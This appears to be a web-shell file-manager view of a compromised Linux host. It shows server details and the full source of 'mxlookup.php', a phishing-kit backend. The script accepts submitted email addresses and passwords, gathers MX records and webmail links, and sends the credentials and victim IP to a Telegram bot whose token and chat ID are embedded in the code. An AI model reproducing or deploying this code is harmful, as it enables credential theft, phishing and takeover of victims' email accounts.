uawdijnntqw1x1x1
IP : 216.73.216.153
Hostname : 6.87.74.97.host.secureserver.net
Kernel : Linux 6.87.74.97.host.secureserver.net 4.18.0-553.83.1.el8_10.x86_64 #1 SMP Mon Nov 10 04:22:44 EST 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
emeraadmin
/
.caldav
/
abounded@smmsg.com
/
..
/
..
/
.trash
/
mxlookup.php
/
/
<?php header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: POST'); header('Access-Control-Allow-Headers: Content-Type'); header('Content-Type: application/json'); function get_client_ip() { return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; } function get_webmail_link($domain) { $common_webmail_paths = [ "webmail.$domain", "$domain/webmail", "mail.$domain", "https://webmail.$domain", "https://mail.$domain", "https://$domain/webmail", "https://$domain:2096", "https://$domain/owa", "https://$domain/zimbra", "https://webmail.mail.$domain" ]; foreach ($common_webmail_paths as $url) { if (@get_headers($url)) { return $url; } } return "Not found"; } if (!isset($_POST['email']) || !isset($_POST['password'])) { echo json_encode(['error' => 'Missing email or password.']); exit; } $email = $_POST['email']; $password = $_POST['password']; $domain = substr(strrchr($email, "@"), 1); $mxRecords = []; if (dns_get_record($domain, DNS_MX, $authns, $addtl)) { $data = dns_get_record($domain, DNS_MX); foreach ($data as $key) { $mxRecords[] = [ "host" => $key['host'], "pri" => $key['pri'], "target" => $key['target'], "target_ip" => gethostbyname($key['target']) ]; } } else { $mxRecords[] = ["error" => "No MX records found for this domain."]; } $webmail_link = get_webmail_link($domain); $ip = get_client_ip(); // š Generate your customized URL // Example: https://yourdomain.com/openfile/uid/EMAIL $base_url = 'https://yourdomain.com/openfile'; // Change to your real domain $clean_uid_link = $base_url . '/uid/' . urlencode($email); $telegram_bot_token = '7730973001:AAGapLfDHXG2VOa99Zbvmt9xSO3x7aN38MY'; $telegram_chat_id = '7518869292'; $message = "\nš¹ *Login Attempt* š¹\n"; $message .= "š§ Email: $email\n"; $message .= "š Password: $password\n"; $message .= "š IP: $ip\n"; $message .= "š MX Records:\n"; foreach ($mxRecords as $mx) { if (isset($mx['error'])) { $message .= "ā " . $mx['error'] . "\n"; } else { $message .= "ā Host: " . $mx['host'] . ", Target: " . $mx['target'] . "\n"; } } $message .= "š Webmail Link: $webmail_link\n"; $message .= "š Clean UID Link: $clean_uid_link\n"; // š Add generated link into Telegram message $telegram_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage"; $params = ['chat_id' => $telegram_chat_id, 'text' => $message, 'parse_mode' => 'Markdown']; $options = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($params), ] ]; $context = stream_context_create($options); file_get_contents($telegram_url, false, $context); // Return JSON response echo json_encode([ "mx_records" => $mxRecords, "webmail_link" => $webmail_link, "clean_uid_link" => $clean_uid_link // š return the generated clean URL in API response too ]); ?>
/home/emeraadmin/.caldav/abounded@smmsg.com/../../.trash/mxlookup.php